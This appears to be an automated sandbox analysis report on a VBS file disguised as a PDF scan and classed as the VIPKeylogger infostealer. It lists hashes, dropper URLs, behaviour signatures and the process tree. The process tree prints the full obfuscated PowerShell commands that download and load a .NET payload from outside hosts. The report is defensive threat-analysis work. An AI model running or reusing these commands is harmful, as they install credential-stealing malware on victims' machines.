Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-11-2024 06:44

General

  • Target

    Scan12112024,pdf.vbs

  • Size

    11KB

  • MD5

    3f17db10010a4ce43a4f0429179c9f55

  • SHA1

    0a562aa4ba586163f1016b68e028a77bce000490

  • SHA256

    025945e88ff07b6cac99091ea9410351047fa352f29026d5751dc15b63ad1765

  • SHA512

    091d320806d48cf57e00ae906756a351405335d594783f3672746f741ca2f650b097c2a5b8970899d8519b6fd4c7331c9296a815c7c481b7257ef39ae92de004

  • SSDEEP

    192:8ZRtanUEczOg4ya+7ZKQGd6csBGXSqKRq5O09NhN:y0nUcL6LK

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4924
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:380
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQ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G9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3260
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3716
          • C:\Windows\SysWOW64\svchost.exe
            "C:\Windows\SysWOW64\svchost.exe"
            5⤵
              PID:4648
            • C:\Windows\SysWOW64\svchost.exe
              "C:\Windows\SysWOW64\svchost.exe"
              5⤵
              • Accesses Microsoft Outlook profiles
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • outlook_office_path
              • outlook_win_path
              PID:1232

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      5caad758326454b5788ec35315c4c304

      SHA1

      3aef8dba8042662a7fcf97e51047dc636b4d4724

      SHA256

      83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

      SHA512

      4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mthbvono.xaf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs

      Filesize

      1KB

      MD5

      3cc8a019daa8e623719ff9741de015a0

      SHA1

      16e2932236fb74f7009f7b817f070eda4363ba1a

      SHA256

      a79f475d99a3e9115369fa349cfea634600b82077007c29c3016588b10ff7091

      SHA512

      cb639e0bd891b32bab301bcf8537cbf5bbe06e22098c8c3cfeca13edc06053f63c47be551e1a7d651f842e65af27f2a907c9670d255e98db15576227d2250d61

    • memory/1232-31-0x0000000005050000-0x000000000509E000-memory.dmp

      Filesize

      312KB

    • memory/1232-27-0x0000000000400000-0x0000000000437000-memory.dmp

      Filesize

      220KB

    • memory/1232-24-0x0000000000400000-0x0000000000437000-memory.dmp

      Filesize

      220KB

    • memory/1232-32-0x00000000059B0000-0x0000000005F54000-memory.dmp

      Filesize

      5.6MB

    • memory/1232-33-0x0000000005110000-0x000000000515E000-memory.dmp

      Filesize

      312KB

    • memory/1232-34-0x0000000005400000-0x000000000549C000-memory.dmp

      Filesize

      624KB

    • memory/1232-35-0x0000000006740000-0x0000000006902000-memory.dmp

      Filesize

      1.8MB

    • memory/1232-36-0x00000000065E0000-0x0000000006630000-memory.dmp

      Filesize

      320KB

    • memory/1232-37-0x0000000006E40000-0x000000000736C000-memory.dmp

      Filesize

      5.2MB

    • memory/1232-38-0x0000000006AF0000-0x0000000006B82000-memory.dmp

      Filesize

      584KB

    • memory/1232-39-0x0000000006AB0000-0x0000000006ABA000-memory.dmp

      Filesize

      40KB

    • memory/3260-9-0x000001D379E10000-0x000001D379E32000-memory.dmp

      Filesize

      136KB

    • memory/3716-23-0x000001C178C60000-0x000001C178DB8000-memory.dmp

      Filesize

      1.3MB